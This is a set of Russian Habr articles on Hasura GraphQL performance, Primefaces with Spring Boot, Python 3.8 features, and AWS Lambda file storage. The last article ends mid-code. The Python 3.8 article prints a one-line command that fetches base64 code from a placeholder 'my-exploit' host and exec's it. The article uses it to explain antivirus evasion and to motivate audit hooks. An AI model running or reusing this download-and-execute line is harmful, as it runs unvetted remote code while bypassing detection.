Он позволяет генерировать GraphQL схему на основе существующей базы данных или создать новую. Поддерживает GraphQL Subscriptions из коробки на основе Postgres-триггеров, динамический контроль прав доступа, автоматическую генерацию join’ов, решает проблему N+1 запросов (batching) и многое другое.

Вы можете использовать foreign keys constraints в PostgreSQL для того, чтобы получить иерархические данные в одном запросе. К примеру вы можете выполнить этот запрос для того чтобы получить альбомы и соответствующие им треки (если в таблице «track» создан foreign key, указывающий на таблицу «album»)
```
{
album (where: {year: {_eq: 2018}}) {
title
tracks {
id
title
}
}
}
```
Как вы, возможно, догадались, запрашивать данные можно любой глубины. Этот API в сочетании с контролем прав доступа позволяет веб-приложениям запрашивать данные из PostgreSQL без написания собственного backend’a. Он разработан с целью максимально быстро выполнять запросы, иметь высокую пропускную способность, при этом экономить процессорное время и потребление памяти на сервере. Мы расскажем об архитектурных решениях, которые позволили нам достичь этого.
Жизненный цикл запросов
-----------------------
Запрос, отправленный в Hasura, проходит через следующие стадии:
1. **Получение сессий**: Запрос попадает в шлюз, который проверяет ключ (если есть) и добавляет различные заголовки, например идентификатор и роль пользователя.
2. **Парсинг запросов**: Hasura получает запрос, парсит заголовки для получения информации о пользователе, создает GraphQL AST на основе тела запроса.
3. **Валидация запросов**: Выполняется проверка, является ли запрос семантически правильным, затем применяются права доступа, соответствующие роли пользователя.
4. **Выполнение запросов**: Запрос конвертируется в SQL и отправляется в Postgres.
5. **Генерация ответа**: Результат SQL запроса обрабатывается и отправляется клиенту (*шлюз может использовать gzip, если это нужно*).
Цели
----
Требования примерно следующие:
1. HTTP стек должен добавлять минимальный overhead и позволять обрабатывать множество одновременных запросов для высокой пропускной способности.
2. Быстрая генерация SQL из GraphQL запроса.
3. Сгенерированный SQL запрос должен быть эффективным для Postgres.
4. Результат SQL запроса должен эффективно передаваться обратно от Postgres.
Обработка GraphQL запроса
-------------------------
Существует несколько подходов к получению данных, необходимых для GraphQL запроса:
### Обычные resolvers
Выполнение GraphQL запросов обычно включает в себя вызов resolver’a для каждого поля.
В примере запроса мы получаем альбомы, выпущенные в 2018 году, а затем для каждого из них запрашиваем соответствующие ему треки — классическая проблема N+1 запросов. Количество запросов растёт экспоненциально с увеличением глубины запроса.
Запросы, выполняемые в Postgres, будут такими:
```
SELECT id,title FROM album WHERE year = 2018;
```
Этот запрос вернёт нам все альбомы. Допустим количество альбомов, которые вернул запрос, будет равно N. Тогда для каждого альбома мы бы выполнили следующий запрос:
```
SELECT id,title FROM tracks WHERE album_id =
```
В общей сложности получится N+1 запросов для получения всех необходимых данных.
### Batching запросов
Инструменты вроде [dataloader](https://github.com/facebook/dataloader) призваны решить проблему N+1 запросов с помощью batching’a. Количество SQL-запросов на вложенные данные больше не зависит от размера изначальной выборки, т.к. теперь на это влияет количество нод в GraphQL запросе. В этом случае потребуется 2 запроса к Postgres для получения требуемых данных:
Получаем альбомы:
```
SELECT id,title FROM album WHERE year = 2018
```
Получаем треки к альбомам, которые мы получили в предыдущем запросе:
```
SELECT id, title FROM tracks WHERE album_id IN {the list of album ids}
```
В общей сложности получается 2 запроса. Мы избежали выполнения SQL-запросов на треки для каждого отдельного альбома, вместо этого использовали оператор WHERE, чтобы получить все необходимые треки сразу в одном запросе.
### Joins
Dataloader спроектирован для работы с разными источниками данных и не позволяет эксплуатировать возможности конкретного. В нашем случае единственным источником данных является Postgres и он, как и все реляционные базы данных, предоставляет возможность собирать данные с нескольких таблиц одним запросом с помощью оператора JOIN. Мы можем определить все таблицы, необходимые для GraphQL запроса, и сгенерировать один SQL запрос используя JOINs для получения всех данных. Получается, данные, необходимые для любого GraphQL запроса, могут быть получены с помощью одного SQL запроса. Эти данные преобразуются до того, как отправить их клиенту.
Такой запрос:
```
SELECT
album.id as album_id,
album.title as album_title,
track.id as track_id,
track.title as track_title
FROM
album
LEFT OUTER JOIN
track
ON
(album.id = track.album_id)
WHERE
album.year = 2018
```
Вернет нам такие данные:
```
album_id, album_title, track_id, track_title
1, Album1, 1, track1
1, Album1, 2, track2
2, Album2, NULL, NULL
```
После чего будет преобразован в JSON и отправлен клиенту:
```
[
{
"title" : "Album1",
"tracks": [
{"id" : 1, "title": "track1"},
{"id" : 2, "title": "track2"}
]
},
{
"title" : "Album2",
"tracks" : []
}
]
```
Оптимизация генерации ответов
-----------------------------
Мы обнаружили что большую часть времени в обработке запросов тратится на функцию преобразования результата SQL запроса в JSON.
После нескольких попыток оптимизировать эту функцию различными способами, мы приняли решение перенести её в Postgres. В Postgres 9.4 (*выпущенный примерно во время первого релиза Hasura*) добавили функцию для агрегации JSON, которая помогла нам сделать задуманное. После этой оптимизации SQL запросы стали выглядеть так:
```
SELECT json_agg(r.*) FROM (
SELECT
album.title as title,
json_agg(track.*) as tracks
FROM
album
LEFT OUTER JOIN
track
ON
(album.id = track.album_id)
WHERE
album.year = 2018
GROUP BY
album.id
) r
```
Результат этого запроса будет иметь один столбец и одну строку, и это значение будет отправлено клиенту без каких-либо дальнейших преобразований. По нашим тестам этот подход примерно в 3–6 раз быстрее, чем функция преобразования на Haskell.
Prepared statements
-------------------
Сгенерированные SQL запросы могут быть довольно большими и сложными в зависимости от уровня вложенности запроса и условий использования. Обычно в веб-приложениях есть набор запросов, которые повторно выполняются с разными параметрами. К примеру, предыдущий запрос необходимо выполнить для 2017 года, вместо 2018. Prepared statements лучше всего подходит для таких случаев, когда есть повторяющийся сложный SQL запрос, в котором меняются только параметры.
Допустим, такой запрос выполняется впервые:
```
{
album (where: {year: {_eq: 2018}}) {
title
tracks {
id
title
}
}
}
```
Мы создаем prepared statement для SQL запроса вместо того, чтобы выполнять его:
```
PREPARE prep_1 AS SELECT json_agg(r.*) FROM (
SELECT
album.title as title,
json_agg(track.*) as tracks
FROM
album
LEFT OUTER JOIN
track
ON
(album.id = track.album_id)
WHERE
album.year = $1
GROUP BY
album.
```
После чего сразу же выполняем его:
```
EXECUTE prep_1('2018');
```
Когда потребуется выполнить GraphQL запрос для 2017 года, мы просто вызываем тот же prepared statement с другим аргументом:
```
EXECUTE prep_1('2017');
```
Это даёт примерно 10-20% прироста скорости в зависимости от сложности GraphQL запроса.
Haskell
-------
Haskell хорошо подходит по нескольким причинам:
* Компилируемый язык с отличной производительностью ([подробнее тут](https://stackoverflow.com/questions/35027952/why-is-haskell-ghc-so-darn-fast)).
* Очень эффективный HTTP стек ([warp](https://www.stackage.org/package/warp), [warp’s architecture](http://www.aosabook.org/en/posa/warp.html)).
* Наш предыдущий опыт работы с языком.
В итоге
-------
Все упомянутые выше оптимизации в результате приводят к довольно серьезным преимуществам в производительности:

Фактически, низкое потребление памяти и незначительные задержки по сравнению с прямым обращением к PostgreSQL, позволяют в большинстве случаев заменить ORM в вашем backend’е вызовами GraphQL API.
**Бенчмарки:**
Тестовый стенд:
1. Ноутбук с 8GB RAM и i7
2. Postgres, работающий на этом же компьютере
3. [wrk](https://github.com/wg/wrk), использовался в качестве инструмента сравнения и для различных типов запросов мы пытались «максимизировать» rps
4. Один экземпляр Hasura GraphQL Engine
5. Размер пула подключений: 50
6. Набор данных: [chinook](https://github.com/lerocha/chinook-database)
**Запрос 1: tracks\_media\_some**
```
query tracks_media_some {
tracks (where: {composer: {_eq: "Kurt Cobain"}}){
id
name
album {
id
title
}
media_type {
name
}
}}
```
* Запросов в секунду: 1375 req/s
* Задержка: 17.5ms
* CPU: ~30%
* RAM: ~30MB (Hasura) + 90MB (Postgres)
**Запрос 2: tracks\_media\_all**
```
query tracks_media_all {
tracks {
id
name
media_type {
name
}
}}
```
* Запросов в секунду: 410 req/s
* Задержка: 59ms
* CPU: ~100%
* RAM: ~30MB (Hasura) + 130MB (Postgres)
**Запрос 3: album\_tracks\_genre\_some**
```
query albums_tracks_genre_some {
albums (where: {artist_id: {_eq: 127}}) {
id
title
tracks {
id
name
genre {
name
}
}
}}
```
* Запросов в секунду: 1029 req/s
* Задержка: 24ms
* CPU: ~30%
* RAM: ~30MB (Hasura) + 90MB (Postgres)
**Запрос 4: album\_tracks\_genre\_all**
```
query albums_tracks_genre_all {
albums {
id
title
tracks {
id
name
genre {
name
}
}
}
```
* Запросов в секунду: 328 req/s
* Задержка: 73ms
* CPU: 100%
* RAM: ~30MB (Hasura) + 130MB (Postgres) | https://habr.com/ru/post/428133/ | null | ru | null |
# Интеграция Primefaces в приложение на Spring Boot. Часть 2 — Готовим контекстное меню для главной страницы
В [первой части](https://habr.com/ru/company/otus/blog/709170/) статьи мы разобрали создание проекта на Spring и Primefaces и генерацию пустой главной страницы. Помимо этого, есть еще несколько полезных настроек, которые помогут вам улучшить работу приложения, покажем некоторые из них. Как обычно в приложениях Spring, настройки эти помещаются в файл application.properties:
```
joinfaces.jsf.state-saving-method=client
```
Настройка JSF показывает, где будут храниться состояния UI - на стороне сервера или на стороне клиента. У каждого метода есть достоинства и недостатки. При хранении на стороне клиента создается меньше нагрузки на сервер, состояние хранится в дополнительном скрытом поле input в браузере. Кроме того, состояние не теряется при ошибках связи с сервером, что вполне вероятно будет происходить по разным причинам, например, у меня на develop стенде при разработке такое происходило из-за очень малых выделенных ресурсов сервера для этой задачи. В результате компоненты на странице могут зависать, и требовалось обновить страницу, чтобы возобновить их работу. Перевод этого параметра из server в client решил для меня эту проблему.
```
joinfaces.mojarra.number-of-logical-views=10000000
joinfaces.mojarra.number-of-views-in-session=10000000
joinfaces.myfaces.number-of-sequential-views-in-session=10000000
joinfaces.myfaces.client-view-state-timeout=600
spring.session.timeout=360000
```
Эти настройки относятся к разным таймаутам хранения состояний, их я просто сделал побольше, чтобы состояние на клиенте не требовалось обновлять в течение одного рабочего дня или чуть больше
```
joinfaces.jsf.partial-state-saving=true
```
Эта настройка позволяет JSF обновлять состояние не всей страницы, а только одного компонента или нескольких связанных компонентов, экономит ресурсы
```
joinfaces.mojarra.allow-text-children=true
```
Настройка включает рендеринг дочерних элементов для h:inputText и h.outputText, требуется для работы некоторых компонентов в формах, как мы увидим в дальнейшем.
Перейдем теперь непосредственно к заполнению главной страницы компонентами. Рассмотрю только основные из них, мелкие компоненты, не требующие каких-либо особенных настроек вы просто увидите ниже в полном тексте страницы, полагаю, разобраться с ними у вас не составит труда
Я буду делать самый простой макет страницы, он будет включать в себя боковое меню и область с данными, которая будет обновляться при переходе по разным пунктам меню. Для реализации бокового меню разместим на странице компонент Tree ContextMenu и напишем класс компонента для него. Теперь наша главная страница будет выглядеть вот так:
```
Заголовок страницы
```
Вы видите, что в различных элементах на странице повсюду упоминается некоторая ссылка, включающая в себя строку treeContextMenuView. Это ни что иное, как ссылка на имя управляемого бина компонента, который вызывается на этой странице и используется для получения данных из компонента и рендеринга отображаемых данных на странице. Никакой однозначной связи "страница - компонент" не существует, как это могло бы показаться на первый взгляд. Никто не мешает вам на одной странице обращаться по именам к совершенно разным компонентам, связанным или не связанным между собой. Primefaces сам найдет нужные компоненты в регистре и обработает соответствующим образом. Просто на данном этапе разработки я использовал только один активный компонент, но далее их будет больше. Давайте посмотрим на класс компонета и разберем его содержание. Полный текст класса выглядит так:
```
import jakarta.faces.view.ViewScoped;
import jakarta.inject.Inject;
import org.primefaces.PrimeFaces;
import org.primefaces.model.TreeNode;
import javax.annotation.ManagedBean;
import javax.faces.component.UIComponent;
import javax.faces.component.UIViewRoot;
import javax.faces.context.FacesContext;
import java.io.Serializable;
import java.util.List;
@ManagedBean("treeContextMenuView")
@ViewScoped
public class PageMenuView implements Serializable {
private final TreeNode root;
private TreeNode selectedNode;
private final String DEFAULT\_LIST = "employees.xhtml";
private String listSrc;
@Inject
public PageMenuView(PageService service) {
root = service.createPages();
listSrc = DEFAULT\_LIST;
}
public TreeNode getRoot() {
return root;
}
public TreeNode getSelectedNode() {
return selectedNode;
}
public void setSelectedNode(TreeNode selectedNode) {
this.selectedNode = selectedNode;
}
public void setSrc() {
if (selectedNode.getData().getLink() != null) {
listSrc = selectedNode.getData().getLink();
UIViewRoot view = FacesContext.getCurrentInstance().getViewRoot();
List uiComponents = view.getChildren();
UIComponent uiComponent = uiComponents.get(2).getChildren().get(0).getChildren().get(3).getChildren().get(1)
.getChildren().get(0);
PrimeFaces.current().ajax().update(uiComponent.getClientId());
}
}
public String getSrc() {
return listSrc;
}
}
```
Давайте сравним класс компонента с аналогичным классом, приведенным в документации Primefaces, чтобы понять, чем же он отличается. Оригинал файла можно найти [здесь](https://www.primefaces.org/showcase/ui/data/tree/contextMenu.xhtml?jfwid=bfaed).
1. в оригинале используется аннотация управляемого бина `@Named("treeContextMenuView"`, у меня - `@ManagedBean("treeContextMenuView")`. Никакой разницы при использовании этих аннотаций я не обнаружил, кроме того, как я это делаю в других компонентах позже, можно также использовать спринговую аннотацию `@Component("treeContextMenuView")`. Вторая аннотация `@ViewScoped` из пакета jakarta.faces.view используется для того, чтобы создавался экземпляр бина, привязанный к сессии, создаваемой, когда вы открываете страницу index.xhtml. Подробности можно изучить [здесь](https://jakarta.ee/specifications/faces/3.0/apidocs/jakarta/faces/view/viewscoped)
2. На этом сходство заканчивается. В оригинале сервисы инжектируются через поля, а первоначальное заполнение важного поля root, в котором хранится корень дерева узлов для меню, происходит в методе, помеченном аннотацией `@PostConstruct`. И это первое, что **не будет** у вас по умолчанию работать при интеграции Primefaces и Spring Boot проекта. Связано это с тем, что данная аннотация не работает со scoped бинами Spring. Я не пробовал делать проект на чистой Jakarta EE, но очевидно, что документация Primefaces ориентирована именно на такое базовое использование, вероятно, там это работать будет вполне нормально. У вас есть возможность попробовать это самостоятельно, если пожелаете изучить проблему подробнее. Разумеется, существуют способы заставить `@PostConstruct` работать так, как вам это нужно, и в scoped бинах. Например, могу привести [статью](https://stackoverflow.com/questions/49278854/postconstruct-is-not-invoked-for-applicationscoped-on-initialisation), в которой достаточно подробно объясняется, почему такое поведение происходит в Spring, и как перенастроить инициализацию бина в контейнере, чтобы аннотация `@PostConstruct` отрабатывала. Но, как утверждал герой А. П. Чехова из рассказа "Письмо ученому соседу", "зачем на солнце пятны, когда и без них можно обойтиться". У нас Spring приложение + бины компонентов, управляющие загрузкой и исполнением xtml страницы. Возможностей вполне достаточно и без `@PostConstruct`. Поэтому все, что нужно выполнить при инициализации бина, я вынес в конструктор, а нужные в бине сервисы инжектировал также в конструкторе. Помимо этого, существует специальный способ выполнить какой-либо метод из бина компонента, указав его в метаданных страницы xhtml как метод, выполняемый всегда при загрузке страницы. Конкретно в этом компоненте я его не использую за ненадобностью, но позже, когда буду показывать вам работу некоторых других компонентов на других страницах, я к нему вернусь. Кроме того, я покажу в последующих частях статьи, как такой onload метод можно использовать и для совсем другой цели - для обновления отдельных компонентов при возвратах на текущую страницу из других страниц приложения.
Итак, у нас появился первый компонент на главное странице - меню приложения. Выглядит это примерно вот так:
Пункты для меню выбираются через сервисы и конкретно здесь для нас интереса не представляют, они зависят от бизнес-логики приложения, берутся из слоя сервисов, и у вас могут быть совершенно другими, под ваши нужды.
Но далее у нас будет еще одна задача - заставить меню по клику на отдельных пунктах обновить содержательную часть страницы данными из трех разных источников, которые будут выводиться в трех совершенно разных списках. Эта задача сама по себе не простая, и будет описана в следующей части статьи.
В конце статьи традиционно рекомендую посмотреть [бесплатный урок](https://otus.pw/qURf/) от моих друзей из OTUS по теме: "Spring Data Projections, Example, Specifications".
* [Ссылка на бесплатный урок](https://otus.pw/qURf/) | https://habr.com/ru/post/709726/ | null | ru | null |
# Python 3.8: Что нового и как этим пользоваться?
*Следующий перевод подготовлен специально для «питонистов», которым интересно наверняка интересно почитать о новых функциях Python 3.8. В преддверии запуска нового потока по курсу [«Разработчик Python»](https://otus.pw/QtHC/) мы не смогли пройти мимо этой темы.*
В этой статье мы поговорим про новые функциональные возможности, которые были введены в Python 3.8.

---
### Моржовый оператор (Оператор присваивания)
Мы знаем, что вы этого ждали. Это ожидание восходит еще к тем временам, когда в Python намеренно запретили использовать «=» в качестве оператора сравнения. Некоторым людям это понравилось, поскольку они больше не путали = и == в присваивании и сравнении. Другие сочли неудобной необходимость повторять оператор, либо присваивать его переменной. Давайте перейдем к примеру.
По словам Гвидо, большинство программистов склонны писать:
```
group = re.match(data).group(1) if re.match(data) else None
```
Вместо
```
match = re.match(data)
group = match.group(1) if match else None
```
Это делает работу программы медленнее. Хотя вполне понятно, почему некоторые программисты все же не пишут первым способом – это загромождает код.
Теперь же у нас есть возможность делать так:
```
group = match.group(1) if (match := re.match(data)) else None
```
Кроме того, это полезно при использовании if’ов, чтобы не вычислять все заранее.
```
match1 = pattern1.match(data)
match2 = pattern2.match(data)
if match1:
result = match1.group(1)
elif match2:
result = match2.group(2)
else:
result = None
```
И вместо этого мы можем написать:
```
if (match1 := pattern1.match(data)):
result = match1.group(1)
elif (match2 := pattern2.match(data)):
result = match2.group(2)
else:
result = None
```
Что является более оптимальным, поскольку второй if не будет считаться, если первый отработает.
На самом деле я очень рад стандарту PEP-572, поскольку он не просто дает ранее не существовавшую возможность, но и использует для этого другой оператор, поэтому его непросто будет спутать с ==.
Однако заодно он предоставляет и новые возможности для ошибок и создания заранее нерабочего кода.
```
y0 = (y1 := f(x))
```
### Позиционные аргументы
```
def f(a, b, /, c, d, *, e, f):
print(a, b, c, d, e, f)
```
Здесь все, что находится перед `/` — строго позиционные аргументы, а все, что после `*` — только ключевые слова.
```
f(10, 20, 30, d=40, e=50, f=60) - valid
f(10, b=20, c=30, d=40, e=50, f=60) - b cannot be a keyword argument
f(10, 20, 30, 40, 50, f=60) - e must be a keyword argument
```
Область применения этой функции можно выразить одним предложением. Библиотекам проще будет менять свои сигнатуры. Давайте рассмотрим пример:
```
def add_to_queue(item: QueueItem):
```
Теперь автор должен поддерживать такую сигнатуру, и имя параметра больше не изменить, поскольку это изменение станет критическим. Представьте, что вам нужно изменить не один элемент, а целый список элементов:
```
def add_to_queue(items: Union[QueueItem, List[QueueItem]]):
```
Или так:
```
def add_to_queue(*items: QueueItem):
```
Это то, чего раньше вы сделать не могли из-за возможной несовместимости с предыдущей версией. А теперь можете. Кроме того, это больше соответствует конструкциям, которые уже используют такой подход. Например, вы не можете передать kwargs функции pow.
```
>>> help(pow)
...
pow(x, y, z=None, /)
...
>>> pow(x=5, y=3)
Traceback (most recent call last):
File "", line 1, in
TypeError: pow() takes no keyword arguments
```
### Поддержка дебага с помощью f-строк
Небольшая дополнительная функция, которая помогает нам использовать компактный формат записи вида “имя переменной=”, переменная.
```
f"{chr(65) = }" => "chr(65) = 'A'"
```
Заметили это, после chr(65)? Тот самый фокус. Он помогает обеспечить укороченный способ печати переменных с помощью f-строк.
### Нативная оболочка asyncio
Теперь если мы запустим оболочку Python как ‘python -m asyncio’, нам уже не понадобится `asyncio.run()`, чтобы запускать асинхронные функции. Await можно использовать непосредственно из самой оболочки:
```
>python -m asyncio
asyncio REPL 3.8.0b4
Use “await” directly instead of “asyncio.run()”.
Type “help”, “copyright”, “credits” or “license” for more information.
>>> import asyncio
>>> async def test():
… await asyncio.sleep(1)
… return ‘hello’
…
>>> await test()
‘hello’
```
### Вызовы Python runtime audit hooks
Рантайм Python очень сильно полагается на С. Однако код, выполненный в нем, никаким способом не регистрируется и не отслеживается. Это затрудняет мониторинг работы фреймфорков для тестирования, фреймворков для логирования, средств безопасности и, возможно, ограничивает действия, выполняемые рантаймом.
Теперь можно наблюдать за событиями, инициированными рантаймом, включая работу системы импорта модулей и любые пользовательские хуки.
Новое API выглядит следующим образом:
```
# Add an auditing hook
sys.addaudithook(hook: Callable[[str, tuple]])
# Raise an event with all auditing hooks
sys.audit(str, *args)
```
Хуки нельзя удалить или заменить. Для CPython хуки, пришедшие из С, считаются глобальными, тогда как хуки, пришедшие из Python, служат только для текущего интерпретатора. Глобальные хуки выполняются перед хуками интерпретатора.
Один из особенно интересных и не отслеживаемых эксплойтов может выглядеть так:
```
python -c “import urllib.request, base64;
exec(base64.b64decode(
urllib.request.urlopen(‘http://my-exploit/py.b64')
).decode())”
```
Такой код не сканируется большинством антивирусных программ, поскольку они ориентируются на распознаваемый код, считываемый при загрузке и записи на диск, и base64 вполне достаточно, чтобы эту систему обойти. Этот код также пройдет такие уровни защиты, как списки управления доступом к файлам или разрешения (когда доступ к файлам не требуется), доверенные списки приложений (при условии, что у Python есть все необходимые разрешения) и автоматический аудит или логгирование (при условии, что у Python есть доступ к интернету или доступ к другой машине в локальной сети, с которой можно получить полезную нагрузку).
С помощью runtime event hooks мы можем решить, как реагировать на любое конкретное событие. Мы можем либо зарегистрировать событие, либо полностью прервать операцию.
### multiprocessing.shared\_memory
Помогает использовать одну и ту же область памяти из разных процессов/интерпретаторов. В принципе, это может помочь нам сократить время, затрачиваемое на сериализацию объектов для передачи их между процессами. Вместо сериализации, отправки в очередь и десериализации, мы можем просто использовать общую память из другого процесса.
### Протокол Pickle и буферы внеполосных данных
Протокол pickle 5 предоставляет поддержу внеполосных буферов, где данные могут передаваться отдельно от основного потока pickle по усмотрению транспортного уровня.
Предыдущие 2 дополнения весьма важны, однако они не были включены в релизную версию Python 3.8, поскольку необходимо проделать еще кое-какую работу по совместимости со старым кодом, однако это может изменить походы к параллельному программированию на Python.
### Суб-интерпретаторы
Потоки в Python не могут выполняться параллельно из-за GIL, в то время как процессам требуется много ресурсов. Только начало процесса занимает 100-200 мс, а они еще и потребляют большое количество оперативной памяти. Но кое-что может с ними совладать и это суб-интерпретаторы. GIL – это интерпретатор, поэтому он не повлияет на работу других интерпретаторов, и запускается он легче, чем процесс (хотя и медленнее, чем поток).
Основная проблема, которая в связи с этим возникает, заключается в передаче данных между интерпретаторами, поскольку они не могут передавать состояние, как это делают потоки. Поэтому нам нужно использовать какую-то связь между ними. Pickle, marshal или json можно использовать для сериализации и десериализации объектов, однако работать такой способ будет довольно медленно. Одним из решений является использование общей памяти из модуля процессов.
Подпроцессы, судя по всему, являются хорошим решением для проблем GIL, однако необходимо еще проделать определенный пул работ. В некоторых случаях Python по-прежнему использует “Runtime State” вместо “Interpreter State”. Например, сборщик мусора работает именно так. Поэтому нужно внести изменения в многие внутренние модули, чтобы начать по-нормальному использовать суб-интерпретаторы.
Надеюсь, этот функционал смогут полноценно развернуть уже в версии Python 3.9.
В заключение хочу сказать, что в эту версию добавлен определенный синтаксический сахар, а еще некоторые серьезные улучшения в работе библиотек и процесса выполнения. Однако множество интересных функций так и не попали в релиз, поэтому будем ждать их в Python 3.9.
#### Источники:
* [Что нового в Python](https://docs.python.org/3.8/whatsnew/3.8.html)
* [Оператор – морж](https://www.python.org/dev/peps/pep-0572/)
* [Позиционные аргументы](https://www.python.org/dev/peps/pep-0570/)
* [Audit hook](https://www.python.org/dev/peps/pep-0578/)
* [Проблемы безопасности без audit хуков](https://www.python.org/dev/peps/pep-0551/)
* [Суб-интерпретаторы](https://hackernoon.com/has-the-python-gil-been-slain-9440d28fa93d) | https://habr.com/ru/post/472432/ | null | ru | null |
# Serverless хранение файлов с AWS lambda
Добрый день, сегодня мы развернем serverless инфраструктуру на базе AWS lambda для загрузки изображений (или любых файлов) с хранением в приватном AWS S3 bucket. Использовать мы будем terraform скрипты, залитые и доступные в моем репозитории [kompotkot/hatchery](https://github.com/kompotkot/hatchery/tree/main/files_distributor) на GitHub.
У изложенного подхода следующие преимущества:
* lambda вызывается по запросу и если данный функционал не является ключевым для вашего приложения, то позволяет экономить на содержании сервера
* у функций lambda изолированная среда работы, что идеально подходит для задач обработки загружаемых файлов. В случае загрузки вредоносного кода, атакующий не сможет выйти за пределы песочницы, сессия которой, в свою очередь, будет принудительно завершена спустя определенное время
* хранение файлов на S3 bucket крайне дешевое удовольствие
Структура проекта
-----------------
Для примера мы будем использовать абстрактное приложение для ведения заметок с API. В каждую заметку мы можем загрузить картинку, а структура аналогична директории с файлами:
```
- journal_1
- entry_1
- image_1
- entry_2
- image_1
- image_n
- entry_n
- journal_n
```
У нашего гипотетического API имеется эндпоинт для получения заметки (entry) в журнале (journal):
```
curl \
--request GET \
--url 'https://api.example.com/journals/{journal_id}/entries/{entries_id}'
--header 'Authorization: {token_id}'
```
Если в ответ на этот эндпоинт `status_code` равен 200, значит пользователь авторизован и имеет доступ к данному журналу. Соответственно мы позволим ему сохранить картинки для этой заметки.
Регистрация приложения на Bugout.dev
------------------------------------
Во избежание добавления дополнительной таблицы в БД, которая нам обязательно потребуется для хранения записей о том, какой заметке, какая картинка принадлежит, мы воспользуемся `resources` от [Bugout.dev](https://bugout.dev/).
Данный подход использован в целях упрощения нашей инфраструктуры, но если необходимо, то данный шаг можно заменить на создание новой таблицы в вашей БД и написание API для сохранения, изменения и удаления записей о сохраняемых картинках. Код Bugout.dev открыт и вы можете ознакомиться документацией API ресурсов в репозитории на GitHub.
Нам понадобится аккаунт и группа под названием `myapp` (название может быть любым в зависимости от вашего проекта) на странице [Bugout.dev Teams](https://bugout.dev/account/teams) и сохраним ID этой группы для следующего шага (в нашем случае, это `e6006d97-0551-4ec9-aabd-da51ee437909`):
Далее создадим Bugout.dev Application под нашу группу `myapp`с помощью curl запроса, токен можно сгенерировать на странице [Bugout.dev Tokens](https://bugout.dev/account/tokens), и сохраним его под переменной `BUGOUT_ACCESS_TOKEN`:
```
curl \
--request POST \
--url 'https://auth.bugout.dev/applications' \
--header "Authorization: Bearer $BUGOUT_ACCESS_TOKEN" \
--form 'group_id=e6006d97-0551-4ec9-aabd-da51ee437909' \
--form 'name=myapp-images' \
--form 'description=Image uploader for myapp notes' \
| jq .
```
В ответ мы получим подтверждение, об успешно созданном приложении:
```
{
"id": "f0a1672d-4659-49f6-bc51-8a0aad17e979",
"group_id": "e6006d97-0551-4ec9-aabd-da51ee437909",
"name": "myapp-images",
"description": "Image uploader for myapp notes"
}
```
Данный ID `f0a1672d-4659-49f6-bc51-8a0aad17e979` мы будем использовать для хранения `resources`, где каждый ресурс - это метаданные загружаемой картинки. Структура задается в произвольной форме в зависимости от необходимых ключей, в нашем случае она будет выглядеть следующим образом:
```
{
"id": "a6423cd1-317b-4f71-a756-dc92eead185c",
"application_id": "f0a1672d-4659-49f6-bc51-8a0aad17e979",
"resource_data": {
"id": "d573fab2-beb1-4915-91ce-c356236768a4",
"name": "random-image-name",
"entry_id": "51113e7d-39eb-4f68-bf99-54de5892314b",
"extension": "png",
"created_at": "2021-09-19 15:15:00.437163",
"journal_id": "2821951d-70a4-419b-a968-14e056b49b71"
},
"created_at": "2021-09-19T15:15:00.957809+00:00",
"updated_at": "2021-09-19T15:15:00.957809+00:00"
}
```
Итого мы получаем своего рода удаленную БД, где мы будем каждый раз писать во время загрузки картинки в S3 bucket о том в какой журнал (`journal_id`) и в какую заметку (`entry_id`) была добавлена картинка с каким ID, названием и расширением.
Подготовка окружения под проект на AWS
--------------------------------------
На AWS будут храниться картинки в S3 bucket и функционировать сервер на lambda для манипуляций с картинками. Нам понадобиться аккаунт AWS и настроенный IAM пользователь для terraform. Это аккаунт типа `Programmatic access` с доступом ко всем ресурсам без возможно работы с веб консолью:
Нам понадобятся ключи, для этого добавьте в свое окружение следующие переменные:
```
export AWS_ACCESS_KEY_ID=
export AWS\_SECRET\_ACCESS\_KEY=
```
Также развернем свою VPC с подсетями:
* 2 приватного доступа
* 2 публичного доступа
Они пригодятся для настройки AWS Load Balancer. Код данного модуля находится в [files\_distributor/network](https://github.com/kompotkot/hatchery/tree/main/files_distributor/network), отредактировав переменные в файле `variables.tf` запустим скрипт:
```
terraform apply
```
Из вывода добавьте в переменные окружения значения для `AWS_HATCHERY_VPC_ID`, `AWS_HATCHERY_SUBNET_PUBLIC_A_ID` и `AWS_HATCHERY_SUBNET_PUBLIC_B_ID`.
Код сервера
-----------
В нашем проекте мы будем использовать простую AWS lambda функцию. По опыту использования, я заметил, что при превышении размера пакета с кодом свыше 10МБ, резко падает скорость загрузки кода на AWS. Даже при предварительной заливке на S3 bucket и последующем создании lambda из него, AWS может подвистуть на продолжительный срок. Поэтому если вам необходимы сторонние библиотеки, то имеет смысл воспользоваться lambda layers. Так же, если вы планируете обойтись без сторонних библиотек с легковесным кодом в связке с CloudFront, то имеет смысл присмотреться к lambda@edge.
Полная версия кода представлена в файле [lambda\_function.py](https://github.com/kompotkot/hatchery/blob/main/files_distributor/bucket/modules/s3_bucket/files/lambda_function.py) в репозитории. На мой взгляд, эффективнее работать на nodejs, но для детальной работы с файлами мы воспользуемся python. Код состоит из основных блоков:
```
MY_APP_JOURNALS_URL = "https://api.example.com" # API эндпоинт для доступа к нашему приложению с заметками
BUGOUT_AUTH_URL = "https://auth.bugout.dev" # Bugout.dev эндпоинт для записи ресурсов (метаданных картинок)
FILES_S3_BUCKET_NAME = "hatchery-files" # Название S3 bucket, где мы будем хранить картинки
FILES_S3_BUCKET_PREFIX = "dev" # Префикс S3 bucket, где мы будем хранить картинки
BUGOUT_APPLICATION_ID = os.environ.get("BUGOUT_FILES_APPLICATION_ID") # Bugout.dev application ID созданный ранее
```
Расширим базовое исключение, чтобы проксировать ответ от Bugout.dev Resources. Например, если картинки не существует, то при запросе необходимого ресурса, нам вернется 404 ошибка, что мы в свою очередь и вернем клиенту, как ответ на запрос о несуществующей картинке.
```
class BugoutResponseException(Exception):
def __init__(self, message, status_code, detail=None) -> None:
super().__init__(message)
self.status_code = status_code
if detail is not None:
self.detail = detail
```
Для сохранения картинки в S3 bucket воспользуемся стандартной библиотекой `cgi`, позволяющей нам распарсить тело запроса переданное в формате `multipart/`. И сохранять картинки будем с указанием пути `{journal_id}/entries/{entry_id}/images/{image_id}` без указания расширения и названия файла.
```
def put_image_to_bucket(
journal_id: str,
entry_id: str,
image_id: UUID,
content_type: str,
content_length: int,
decoded_body: bytes,
) -> None:
_, c_data = parse_header(content_type)
c_data["boundary"] = bytes(c_data["boundary"], "utf-8")
c_data["CONTENT-LENGTH"] = content_length
form_data = parse_multipart(BytesIO(decoded_body), c_data)
for image_str in form_data["file"]:
